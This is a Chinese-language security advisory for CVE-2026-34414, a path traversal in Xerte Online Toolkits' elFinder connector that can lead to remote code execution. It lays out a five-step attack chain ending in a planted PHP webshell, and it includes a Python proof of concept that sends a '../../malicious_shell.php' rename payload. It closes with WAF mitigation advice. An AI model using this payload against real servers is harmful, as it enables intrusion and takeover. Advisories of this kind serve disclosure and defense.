IPBUF安全漏洞报告
English
CVE-2026-34414 CVSS 7.1 高危

CVE-2026-34414 Xerte路径遍历致远程代码执行漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-34414
漏洞类型
路径遍历
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Xerte Online Toolkits

相关标签

路径遍历远程代码执行XerteCVE-2026-34414文件操作漏洞

漏洞概述

Xerte Online Toolkits 3.15及更早版本在elFinder连接器端点存在相对路径遍历漏洞。由于rename命令中的name参数未正确过滤路径遍历序列,攻击者可将项目媒体目录中的文件移动至文件系统任意位置。该漏洞可能导致覆盖应用文件、存储型跨站脚本攻击,或配合其他漏洞实现未认证的远程代码执行。

技术细节

该漏洞源于Xerte Online Toolkits集成的elFinder组件处理文件重命名请求时的逻辑缺陷。具体位于/editor/elfinder/php/connector.php接口,当处理rename命令时,程序未对用户提交的name参数进行充分的路径规范化处理,导致攻击者可以注入“../”等目录遍历字符。利用方式通常要求攻击者拥有低权限账户,通过构造恶意HTTP请求,将项目媒体目录下的可控文件(如图片或上传的脚本)移动到Web根目录或其他敏感位置。成功利用后,攻击者可覆盖系统文件造成拒绝服务,或通过移动恶意PHP文件实现远程代码执行,从而完全控制服务器。参考链接中的GitHub仓库已验证了该漏洞结合其他弱点导致RCE的可行性。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个低权限账户,登录Xerte Online Toolkits平台。
STEP 2
步骤2
攻击者创建或上传一个项目文件(如图片),并将其保存在项目媒体目录中。
STEP 3
步骤3
攻击者向/elFinder/php/connector.php发送特制的POST请求,利用rename命令,将name参数设置为包含“../”的恶意路径。
STEP 4
步骤4
服务器端未过滤路径遍历字符,将文件移动到Web根目录或敏感系统目录。
STEP 5
步骤5
攻击者访问移动后的恶意文件(如PHP Webshell),执行任意代码,控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, session_cookie): """ PoC for CVE-2026-34414: Path Traversal in Xerte elFinder Connector This script attempts to rename a file to traverse directories. """ # elFinder connector endpoint url = f"{target_url}/editor/elfinder/php/connector.php" # The 'cmd' is rename, 'target' is the file hash (needs to be valid), 'name' is the new path # In a real scenario, the attacker would need a valid file hash and a file they have access to. payload = { "cmd": "rename", "target": "l1_X3Jlc3RfdGVzdF9maWxlLnBocA", # Example hash for a file "name": "../../malicious_shell.php" # Traversal payload } headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent. Check if the file was moved.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit("http://target-xerte-site.com", "valid_session_id")

影响范围

Xerte Online Toolkits <= 3.15

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)拦截对connector.php的请求中包含“../”或“..\”的数据,并定期检查Web根目录下是否有异常新增的PHP文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表